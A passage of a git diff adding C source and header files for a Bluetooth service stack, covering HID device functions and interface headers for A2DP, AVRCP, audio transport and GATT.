hid_device_unregister_callbacks(void** remote, void* cookie) +{ + return bt_remote_callbacks_unregister(g_hidd_handle.callbacks, remote, cookie); +} + +static bt_status_t hid_device_register_app(hid_device_sdp_settings_t* sdp, bool le_hid) +{ + bt_status_t status; + + pthread_mutex_lock(&g_hidd_handle.hid_lock); + if (!g_hidd_handle.started) { + status = BT_STATUS_NOT_ENABLED; + goto exit; + } + + if (g_hidd_handle.app_state == HID_APP_STATE_REGISTERED) { + BT_LOGI("%s, HID app has registered!", __func__); + status = BT_STATUS_NO_RESOURCES; + goto exit; + } + + status = bt_sal_hid_device_register_app(sdp, le_hid); + if (status == BT_STATUS_SUCCESS) { + g_hidd_handle.app_state = HID_APP_STATE_REGISTERED; + } + +exit: + pthread_mutex_unlock(&g_hidd_handle.hid_lock); + return status; +} + +static bt_status_t hid_device_unregister_app(void) +{ + bt_status_t status; + + pthread_mutex_lock(&g_hidd_handle.hid_lock); + if (!g_hidd_handle.started) { + status = BT_STATUS_NOT_ENABLED; + goto exit; + } + + if (g_hidd_handle.app_state == HID_APP_STATE_NOT_REGISTERED) { + status = BT_STATUS_NOT_FOUND; + goto exit; + } + + status = bt_sal_hid_device_unregister_app(); + +exit: + pthread_mutex_unlock(&g_hidd_handle.hid_lock); + return status; +} + +static bt_status_t hid_device_connect(bt_address_t* addr) +{ + bt_status_t status; + + pthread_mutex_lock(&g_hidd_handle.hid_lock); + if (!g_hidd_handle.started) { + status = BT_STATUS_NOT_ENABLED; + goto exit; + } + + if (!bt_addr_is_empty(&g_hidd_handle.peer_addr)) { + BT_ADDR_LOG("HID device has connected to %s, %s!", &g_hidd_handle.peer_addr, __func__); + BT_DFX_HID_CONN_ERROR(BT_DFXE_HID_CONNECT_BUSY); + status = BT_STATUS_BUSY; + goto exit; + } + + status = bt_sal_hid_device_connect(addr); + +exit: + pthread_mutex_unlock(&g_hidd_handle.hid_lock); + return status; +} + +static bt_status_t hid_device_disconnect(bt_address_t* addr) +{ + bt_status_t status; + + pthread_mutex_lock(&g_hidd_handle.hid_lock); + if (!g_hidd_handle.started) { + status = BT_STATUS_NOT_ENABLED; + goto exit; + } + + if (bt_addr_compare(addr, &g_hidd_handle.peer_addr)) { + BT_ADDR_LOG("%s is not current HID host, %s!", addr, __func__); + status = BT_STATUS_DEVICE_NOT_FOUND; + goto exit; + } + + status = bt_sal_hid_device_disconnect(addr); + +exit: + pthread_mutex_unlock(&g_hidd_handle.hid_lock); + return status; +} + +static bt_status_t hid_device_send_report(bt_address_t* addr, uint8_t rpt_id, uint8_t* rpt_data, int rpt_size) +{ + bt_status_t status; + + pthread_mutex_lock(&g_hidd_handle.hid_lock); + if (!g_hidd_handle.started) { + status = BT_STATUS_NOT_ENABLED; + goto exit; + } + + if (bt_addr_compare(addr, &g_hidd_handle.peer_addr)) { + BT_ADDR_LOG("%s is not current HID host, %s!", addr, __func__); + status = BT_STATUS_DEVICE_NOT_FOUND; + goto exit; + } + + bt_pm_busy(PROFILE_HID_DEV, addr); + status = bt_sal_hid_device_send_report(addr, rpt_id, rpt_data, rpt_size); + bt_pm_idle(PROFILE_HID_DEV, addr); + +exit: + pthread_mutex_unlock(&g_hidd_handle.hid_lock); + return status; +} + +static bt_status_t hid_device_response_report(bt_address_t* addr, uint8_t rpt_type, uint8_t* rpt_data, int rpt_size) +{ + bt_status_t status; + + pthread_mutex_lock(&g_hidd_handle.hid_lock); + if (!g_hidd_handle.started) { + status = BT_STATUS_NOT_ENABLED; + goto exit; + } + + if (bt_addr_compare(addr, &g_hidd_handle.peer_addr)) { + BT_ADDR_LOG("%s is not current HID host, %s!", addr, __func__); + status = BT_STATUS_DEVICE_NOT_FOUND; + goto exit; + } + + bt_pm_busy(PROFILE_HID_DEV, addr); + status = bt_sal_hid_device_get_report_response(addr, rpt_type, rpt_data, rpt_size); + bt_pm_idle(PROFILE_HID_DEV, addr); + +exit: + pthread_mutex_unlock(&g_hidd_handle.hid_lock); + return status; +} + +static bt_status_t hid_device_report_error(bt_address_t* addr, hid_status_error_t error) +{ + bt_status_t status; + + pthread_mutex_lock(&g_hidd_handle.hid_lock); + if (!g_hidd_handle.started) { + status = BT_STATUS_NOT_ENABLED; + goto exit; + } + + if (bt_addr_compare(addr, &g_hidd_handle.peer_addr)) { + BT_ADDR_LOG("%s is not current HID host, %s!", addr, __func__); + status = BT_STATUS_DEVICE_NOT_FOUND; + goto exit; + } + + bt_pm_busy(PROFILE_HID_DEV, addr); + status = bt_sal_hid_device_report_error(addr, error); + bt_pm_idle(PROFILE_HID_DEV, addr); + +exit: + pthread_mutex_unlock(&g_hidd_handle.hid_lock); + return status; +} + +static bt_status_t hid_device_virtual_unplug(bt_address_t* addr) +{ + bt_status_t status; + + pthread_mutex_lock(&g_hidd_handle.hid_lock); + if (!g_hidd_handle.started) { + status = BT_STATUS_NOT_ENABLED; + goto exit; + } + + if (bt_addr_compare(addr, &g_hidd_handle.peer_addr)) { + BT_ADDR_LOG("%s is not current HID host, %s!", addr, __func__); + status = BT_STATUS_DEVICE_NOT_FOUND; + goto exit; + } + + bt_pm_busy(PROFILE_HID_DEV, addr); + status = bt_sal_hid_device_virtual_unplug(addr); + bt_pm_idle(PROFILE_HID_DEV, addr); + +exit: + pthread_mutex_unlock(&g_hidd_handle.hid_lock); + return status; +} + +static hid_device_interface_t deviceInterface = { + .size = sizeof(deviceInterface), + .register_callbacks = hid_device_register_callbacks, + .unregister_callbacks = hid_device_unregister_callbacks, + .register_app = hid_device_register_app, + .unregister_app = hid_device_unregister_app, + .connect = hid_device_connect, + .disconnect = hid_device_disconnect, + .send_report = hid_device_send_report, + .response_report = hid_device_response_report, + .report_error = hid_device_report_error, + .virtual_unplug = hid_device_virtual_unplug, +}; + +static const void* get_device_profile_interface(void) +{ + return (void*)&deviceInterface; +} + +/**************************************************************************** + * Public Functions + ****************************************************************************/ + +void hid_device_on_app_state_changed(hid_app_state_t state) +{ + hidd_msg_t* msg = malloc(sizeof(hidd_msg_t)); + if (!msg) { + BT_LOGE("%s malloc failed", __func__); + return; + } + + msg->event = APP_REGISTER_EVT; + msg->app_register.state = state; + + do_in_service_loop(hid_device_event_process, msg); +} + +void hid_device_on_connection_state_changed(bt_address_t* addr, bool le_hid, profile_connection_state_t state) +{ + hidd_msg_t* msg = malloc(sizeof(hidd_msg_t)); + if (!msg) { + BT_LOGE("%s malloc failed", __func__); + return; + } + + msg->event = CONNECT_CHANGE_EVT; + msg->connect_change.le_hid = le_hid; + msg->connect_change.state = state; + memcpy(&msg->connect_change.addr, addr, sizeof(bt_address_t)); + + do_in_service_loop(hid_device_event_process, msg); +} + +void hid_device_on_get_report(bt_address_t* addr, uint8_t rpt_type, uint8_t rpt_id, uint16_t buffer_size) +{ + hidd_msg_t* msg = malloc(sizeof(hidd_msg_t)); + if (!msg) { + BT_LOGE("%s malloc failed", __func__); + return; + } + + msg->event = GET_REPORT_EVT; + msg->get_report.rpt_type = rpt_type; + msg->get_report.rpt_id = rpt_id; + msg->get_report.buffer_size = buffer_size; + memcpy(&msg->get_report.addr, addr, sizeof(bt_address_t)); + + do_in_service_loop(hid_device_event_process, msg); +} + +void hid_device_on_set_report(bt_address_t* addr, uint8_t rpt_type, uint16_t rpt_size, uint8_t* rpt_data) +{ + hidd_msg_t* msg = malloc(sizeof(hidd_msg_t) + rpt_size); + if (!msg) { + BT_LOGE("%s malloc failed", __func__); + return; + } + + msg->event = SET_REPORT_EVT; + msg->set_report.rpt_type = rpt_type; + msg->set_report.rpt_size = rpt_size; + memcpy(&msg->set_report.rpt_data, rpt_data, rpt_size); + memcpy(&msg->set_report.addr, addr, sizeof(bt_address_t)); + + do_in_service_loop(hid_device_event_process, msg); +} + +void hid_device_on_receive_report(bt_address_t* addr, uint8_t rpt_type, uint16_t rpt_size, uint8_t* rpt_data) +{ + hidd_msg_t* msg = malloc(sizeof(hidd_msg_t) + rpt_size); + if (!msg) { + BT_LOGE("%s malloc failed", __func__); + return; + } + + msg->event = RECEIVE_REPORT_EVT; + msg->recv_report.rpt_type = rpt_type; + msg->recv_report.rpt_size = rpt_size; + memcpy(&msg->recv_report.rpt_data, rpt_data, rpt_size); + memcpy(&msg->recv_report.addr, addr, sizeof(bt_address_t)); + + do_in_service_loop(hid_device_event_process, msg); +} + +void hid_device_on_virtual_cable_unplug(bt_address_t* addr) +{ + hidd_msg_t* msg = malloc(sizeof(hidd_msg_t)); + if (!msg) { + BT_LOGE("%s malloc failed", __func__); + return; + } + + msg->event = VIRTUAL_UNPLUG_EVT; + memcpy(&msg->unplug.addr, addr, sizeof(bt_address_t)); + + do_in_service_loop(hid_device_event_process, msg); +} + +static const profile_service_t hid_device_service = { + .auto_start = true, + .name = PROFILE_HID_DEV_NAME, + .id = PROFILE_HID_DEV, + .transport = BT_TRANSPORT_BREDR, + .uuid = { BT_UUID128_TYPE, { 0 } }, + .init = hid_device_init, + .startup = hid_device_startup, + .shutdown = hid_device_shutdown, + .process_msg = hid_device_process_msg, + .get_state = hid_device_get_state, + .get_profile_interface = get_device_profile_interface, + .cleanup = hid_device_cleanup, + .dump = hid_device_dump, +}; + +void register_hid_device_service(void) +{ + register_service(&hid_device_service); +} diff --git a/service/profiles/include/a2dp_sink_service.h b/service/profiles/include/a2dp_sink_service.h new file mode 100644 index 0000000000000000000000000000000000000000..8fe0b93329db9470b9decae2fb31bb06fdc9d388 --- /dev/null +++ b/service/profiles/include/a2dp_sink_service.h @@ -0,0 +1,90 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __A2DP_SINK_SERVICE_H__ +#define __A2DP_SINK_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_a2dp_sink.h" + +typedef struct { + size_t size; + + /** + * @brief Register the a2dp_sink event callback + * @param[in] callbacks a2dp_sink event callback function. + */ + void* (*register_callbacks)(void* remote, const a2dp_sink_callbacks_t* callbacks); + + /** + * @brief Unregister the a2dp_sink event callback + */ + bool (*unregister_callbacks)(void** remote, void* cookie); + + /** + * @brief Check a2dp sink connection is connected + * @param addr - address of peer device. + * @return true - connected. + * @return false - not connected. + */ + bool (*is_connected)(bt_address_t* addr); + + /** + * @brief Check a2dp sink audio stream is started + * @param addr - address of peer device. + * @return true - playing. + * @return false - stopped or suspend. + */ + bool (*is_playing)(bt_address_t* addr); + + /** + * @brief Get a2dp sink connection state + * @param addr - address of peer device. + * @return profile_connection_state_t - connection state. + */ + profile_connection_state_t (*get_connection_state)(bt_address_t* addr); + + /** + * @brief Connect to the headset + * @param[in] addr address of peer device. + * @return BT_RESULT_SUCCESS on success; a negated errno value on failure. + */ + bt_status_t (*connect)(bt_address_t* addr); + + /** + * @brief Dis-connect from headset + * @param[in] addr address of peer device. + * @return BT_RESULT_SUCCESS on success; a negated errno value on failure. + */ + bt_status_t (*disconnect)(bt_address_t* addr); + + /** + * @brief Sets the connected device as active + * @note Not implemented, will be realized in the future + * @param[in] addr address of peer device. + * @return BT_RESULT_SUCCESS on success; a negated errno value on failure. + */ + bt_status_t (*set_active_device)(bt_address_t* addr); + +} a2dp_sink_interface_t; + +/* + * register profile to service manager + */ +void register_a2dp_sink_service(void); + +#endif /* __A2DP_SINK_SERVICE_H__ */ diff --git a/service/profiles/include/a2dp_source_service.h b/service/profiles/include/a2dp_source_service.h new file mode 100644 index 0000000000000000000000000000000000000000..cb0c8e2dafc576481347c561b58ea91517949092 --- /dev/null +++ b/service/profiles/include/a2dp_source_service.h @@ -0,0 +1,100 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __A2DP_SOURCE_SERVICE_H__ +#define __A2DP_SOURCE_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_a2dp_source.h" + +/* A2DP source interface structure */ +typedef struct { + size_t size; + + /** + * @brief Register the a2dp_source event callback + * @param[in] callbacks a2dp_source event callback function. + */ + void* (*register_callbacks)(void* remote, const a2dp_source_callbacks_t* callbacks); + + /** + * @brief Unregister the a2dp_source event callback + */ + bool (*unregister_callbacks)(void** remote, void* cookie); + + /** + * @brief Check a2dp source connection is connected + * @param addr - address of peer device. + * @return true - connected. + * @return false - not connected. + */ + bool (*is_connected)(bt_address_t* addr); + + /** + * @brief Check a2dp source audio stream is started + * @param addr - address of peer device. + * @return true - playing. + * @return false - stopped or suspend. + */ + bool (*is_playing)(bt_address_t* addr); + + /** + * @brief Get a2dp source connection state + * @param addr - address of peer device. + * @return profile_connection_state_t - connection state. + */ + profile_connection_state_t (*get_connection_state)(bt_address_t* addr); + + /** + * @brief Connect to the headset + * @param[in] addr address of peer device. + * @return BT_RESULT_SUCCESS on success; a negated errno value on failure. + */ + bt_status_t (*connect)(bt_address_t* addr); + + /** + * @brief Dis-connect from headset + * @param[in] addr address of peer device. + * @return BT_RESULT_SUCCESS on success; a negated errno value on failure. + */ + bt_status_t (*disconnect)(bt_address_t* addr); + + /** + * @brief Sets the connected device silence state + * @note Not implemented, will be realized in the future + * @param[in] addr address of peer device. + * @param[in] silence true on enable silence, false on disable + * @return BT_RESULT_SUCCESS on success; a negated errno value on failure. + */ + bt_status_t (*set_silence_device)(bt_address_t* addr, bool silence); + + /** + * @brief Sets the connected device as active + * @note Not implemented, will be realized in the future + * @param[in] addr address of peer device. + * @return BT_RESULT_SUCCESS on success; a negated errno value on failure. + */ + bt_status_t (*set_active_device)(bt_address_t* addr); + +} a2dp_source_interface_t; + +/* + * register profile to service manager + */ +void register_a2dp_source_service(void); + +#endif /* __A2DP_SOURCE_SERVICE_H__ */ diff --git a/service/profiles/include/audio_control.h b/service/profiles/include/audio_control.h new file mode 100644 index 0000000000000000000000000000000000000000..3ea96c968480842fd93fdf7d228bdee08256a449 --- /dev/null +++ b/service/profiles/include/audio_control.h @@ -0,0 +1,46 @@ +/**************************************************************************** + * + * Copyright (C) 2024 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __AUDIO_CONTROL_H__ +#define __AUDIO_CONTROL_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "audio_transport.h" +#include "bt_status.h" + +void audio_ctrl_send_control_event(uint8_t profile_id, audio_ctrl_evt_t evt); +bt_status_t audio_ctrl_init(void); +void audio_ctrl_cleanup(void); + +#endif diff --git a/service/profiles/include/audio_transport.h b/service/profiles/include/audio_transport.h new file mode 100644 index 0000000000000000000000000000000000000000..52cfa4d34ef1ec2f5c099d9122ecf821cd3dd1b7 --- /dev/null +++ b/service/profiles/include/audio_transport.h @@ -0,0 +1,93 @@ +/**************************************************************************** + * + * Copyright (C) 2023 Xiaomi InC. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation and/or other materials provided with the + * distribution. + * 3. Neither the name NuttX nor the names of its contributors may be + * used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS + * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE + * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, + * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS + * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED + * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************/ +#ifndef __AUDIO_TRANSPORT_H__ +#define __AUDIO_TRANSPORT_H__ +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <stdbool.h> + +#include "uv.h" + +typedef enum { + TRANSPORT_OPEN_EVT = 0x0001, + TRANSPORT_CLOSE_EVT = 0x0002, + TRANSPORT_RX_DATA_EVT = 0x0004, + TRANSPORT_RX_DATA_READY_EVT = 0x0008, + TRANSPORT_TX_DATA_READY_EVT = 0x0010 +} audio_transport_event_t; + +typedef enum { + AUDIO_CTRL_CMD_START, + AUDIO_CTRL_CMD_STOP, + AUDIO_CTRL_CMD_CONFIG_DONE +} audio_ctrl_cmd_t; + +typedef enum { + AUDIO_CTRL_EVT_STARTED, + AUDIO_CTRL_EVT_START_FAIL, + AUDIO_CTRL_EVT_STOPPED, + AUDIO_CTRL_EVT_UPDATE_CONFIG +} audio_ctrl_evt_t; + +typedef enum { + IPC_DISCONNTECTED = -1, + IPC_CONNTECTED +} transport_conn_state_t; + +typedef struct _audio_transport audio_transport_t; +typedef void (*transport_event_cb_t)(uint8_t ch_id, audio_transport_event_t event); +typedef void (*transport_alloc_cb_t)(uint8_t ch_id, uint8_t** buffer, size_t* len); +typedef void (*transport_read_cb_t)(uint8_t ch_id, uint8_t* buffer, ssize_t len); +typedef void (*transport_write_cb_t)(uint8_t ch_id, uint8_t* buffer); + +#define AUDIO_TRANS_CH_NUM 5 +#define AUDIO_TRANS_CH_ID_ALL 6 /* used to address all the ch id at once */ + +const char* audio_transport_dump_event(uint8_t event); +audio_transport_t* audio_transport_init(uv_loop_t* loop); +bool audio_transport_open(audio_transport_t* transport, uint8_t ch_id, + const char* path, transport_event_cb_t cb); +void audio_transport_close(audio_transport_t* transport, uint8_t ch_id); +int audio_transport_write(audio_transport_t* transport, uint8_t ch_id, + const uint8_t* data, uint16_t len, + transport_write_cb_t cb); +int audio_transport_read_start(audio_transport_t* transport, + uint8_t ch_id, + transport_alloc_cb_t alloc_cb, + transport_read_cb_t read_cb); +int audio_transport_read_stop(audio_transport_t* transport, uint8_t ch_id); +transport_conn_state_t audio_transport_get_state(audio_transport_t* transport, + uint8_t ch_id); + +#endif \ No newline at end of file diff --git a/service/profiles/include/avrcp_control_service.h b/service/profiles/include/avrcp_control_service.h new file mode 100644 index 0000000000000000000000000000000000000000..9e925e4027934cfef537f825530992e38e5395f6 --- /dev/null +++ b/service/profiles/include/avrcp_control_service.h @@ -0,0 +1,72 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __AVRCP_CONTROL_SERVICE_H__ +#define __AVRCP_CONTROL_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_avrcp_control.h" + +typedef struct { + size_t size; + + /** + * @brief Register the a2dp_sink event callback + * @param[in] callbacks a2dp_sink event callback function. + */ + void* (*register_callbacks)(void* remote, const avrcp_control_callbacks_t* callbacks); + + /** + * @brief Unregister the a2dp_sink event callback + */ + bool (*unregister_callbacks)(void** remote, void* cookie); + + /** send pass through command to target */ + bt_status_t (*send_pass_through_cmd)(bt_address_t* bd_addr, + avrcp_passthr_cmd_t key_code, avrcp_key_state_t key_state); + + /** get the playback state */ + bt_status_t (*get_playback_state)(bt_address_t* bd_addr); + + /** notify volume changed */ + bt_status_t (*volume_changed_notify)(bt_address_t* bd_addr, uint8_t volume); + + /** get element attributes */ + bt_status_t (*avrcp_control_get_element_attributes)(bt_address_t* bd_addr); + + /** send passthrough command */ + bt_status_t (*avrcp_control_send_passthrough_cmd)(bt_address_t* bd_addr, uint8_t cmd, uint8_t state); + + /** get unit info */ + bt_status_t (*avrcp_control_get_unit_info)(bt_address_t* bd_addr); + + /** get subunit info */ + bt_status_t (*avrcp_control_get_subunit_info)(bt_address_t* bd_addr); + + /** get playback state */ + bt_status_t (*avrcp_control_get_playback_state)(bt_address_t* bd_addr); + + /** register notification */ + bt_status_t (*avrcp_control_register_notification)(bt_address_t* remote, avrcp_notification_event_t event, uint32_t interval); +} avrcp_control_interface_t; + +/* + * register profile to service manager + */ +void register_avrcp_control_service(void); + +#endif /* __AVRCP_CONTROL_SERVICE_H__ */ diff --git a/service/profiles/include/avrcp_target_service.h b/service/profiles/include/avrcp_target_service.h new file mode 100644 index 0000000000000000000000000000000000000000..f65203383b6ecdee5ef84ecee5edb5524a17979d --- /dev/null +++ b/service/profiles/include/avrcp_target_service.h @@ -0,0 +1,74 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __AVRCP_TARGET_SERVICE_H__ +#define __AVRCP_TARGET_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_avrcp_target.h" + +/* avrcp target interface structure */ +typedef struct { + size_t size; + + /** + * @brief Register the a2dp_sink event callback + * @param[in] callbacks a2dp_sink event callback function. + */ + void* (*register_callbacks)(void* remote, const avrcp_target_callbacks_t* callbacks); + + /** + * @brief Unregister the a2dp_sink event callback + */ + bool (*unregister_callbacks)(void** remote, void* cookie); + + /** + * @brief Response get playback status request + * @param[in] addr address of peer device. + * @param[in] status current playback status. + * @param[in] song_len length of song which is playing + * @param[in] song_pos position of song which is playing + * @return BT_RESULT_SUCCESS on success; a negated errno value on failure. + */ + bt_status_t (*get_play_status_rsp)(bt_address_t* addr, + avrcp_play_status_t status, + uint32_t song_len, uint32_t song_pos); + + /** + * @brief notify playback status if peer had register playback notification + * @param[in] addr address of peer device. + * @param[in] status current playback status. + * @return BT_RESULT_SUCCESS on success; a negated errno value on failure. + */ + bt_status_t (*play_status_notify)(bt_address_t* addr, avrcp_play_status_t status); + + /** + * @brief set absolute volume + * @param[in] addr address of peer device. + * @param[in] volume volume of mediaplayer, range in <0-0x7F>. + * @return BT_RESULT_SUCCESS on success; a negated errno value on failure. + */ + bt_status_t (*set_absolute_volume)(bt_address_t* addr, uint8_t volume); + +} avrcp_target_interface_t; + +/* + * register profile to service manager + */ +void register_avrcp_target_service(void); + +#endif /* __AVRCP_TARGET_SERVICE_H__ */ diff --git a/service/profiles/include/gatt_define.h b/service/profiles/include/gatt_define.h new file mode 100644 index 0000000000000000000000000000000000000000..8bd2ff3d7a16fd2d3a3930aa686b6c9fbaf7a9b3 --- /dev/null +++ b/service/profiles/include/gatt_define.h @@ -0,0 +1,96 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __GATT_DEFINE_H__ +#define __GATT_DEFINE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_gatt_defs.h" +#include "bt_gattc.h" +#include "bt_gatts.h" +#include "bt_uuid.h" +#include <stdint.h> + +/** + * \def GATT_CBACK(P_CB, P_CBACK) Description + */ +#define GATT_CBACK(P_CB, P_CBACK, ...) \ + do { \ + if ((P_CB) && (P_CB)->P_CBACK) { \ + (P_CB)->P_CBACK(__VA_ARGS__); \ + } else { \ + BT_LOGD("%s Callback is NULL", __func__); \ + } \ + } while (0) + +/** + * @brief Gatt write type + */ +typedef enum { + GATT_WRITE_TYPE_NO_RSP = 0, /*!< Gatt write attribute need no response */ + GATT_WRITE_TYPE_RSP, /*!< Gatt write attribute need remote response */ + GATT_WRITE_TYPE_SIGNED, +} gatt_write_type_t; + +/** + * @brief Gatt change type + */ +typedef enum { + GATT_CHANGE_TYPE_NOTIFY = 0, + GATT_CHANGE_TYPE_INDICATE, +} gatt_change_type_t; + +/** + * @brief Gatt discover type + */ +typedef enum { + GATT_DISCOVER_ALL = 0, + GATT_DISCOVER_SERVICE, +} gatt_discover_type_t; + +/** + * @brief Gatt element content + */ +typedef struct { + uint16_t handle; /* Attribute handle */ + bt_uuid_t uuid; /* Attribute uuid */ + gatt_attr_type_t type; /* Attribute type */ + uint16_t properties; /* Attribute properties */ + uint16_t permissions; /* Attribute access permissions */ + + union { + /* gatt server content */ + struct { + gatt_attr_rsp_t rsp_type; + + attribute_read_cb_t read_cb; + attribute_written_cb_t write_cb; + + uint16_t attr_length; /** attr data length */ + void* attr_data; /** attr data array */ + }; + + /* gatt client content */ + struct { + + bool notify_enable; + }; + }; + +} gatt_element_t; + +#endif /* __GATT_DEFINE_H__ */ \ No newline at end of file diff --git a/service/profiles/include/gattc_event.h b/service/profiles/include/gattc_event.h new file mode 100644 index 0000000000000000000000000000000000000000..70d4ca83b1d1a8644262188592765bf74a8eb9bf --- /dev/null +++ b/service/profiles/include/gattc_event.h @@ -0,0 +1,245 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __GATTC_EVENT_H__ +#define __GATTC_EVENT_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bluetooth.h" +#include "bt_addr.h" +#include "gatt_define.h" +#include <stdint.h> +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ + +typedef enum { + GATTC_EVENT_CONNECT_CHANGE, + GATTC_EVENT_DISCOVER_RESULT, + GATTC_EVENT_DISOCVER_CMPL, + GATTC_EVENT_READ, + GATTC_EVENT_WRITE, + GATTC_EVENT_SUBSCRIBE, + GATTC_EVENT_NOTIFY, + GATTC_EVENT_MTU_UPDATE, + GATTC_EVENT_PHY_READ, + GATTC_EVENT_PHY_UPDATE, + GATTC_EVENT_RSSI_READ, + GATTC_EVENT_CONN_PARAM_UPDATE, +} gattc_event_t; + +typedef enum { + GATTC_REQ_CONNECT, + GATTC_REQ_DISCONNECT, + GATTC_REQ_DISCOVER, + GATTC_REQ_READ, + GATTC_REQ_WRITE, + GATTC_REQ_SUBSCRIBE, + GATTC_REQ_EXCHANGE_MTU, + GATTC_REQ_READ_PHY, + 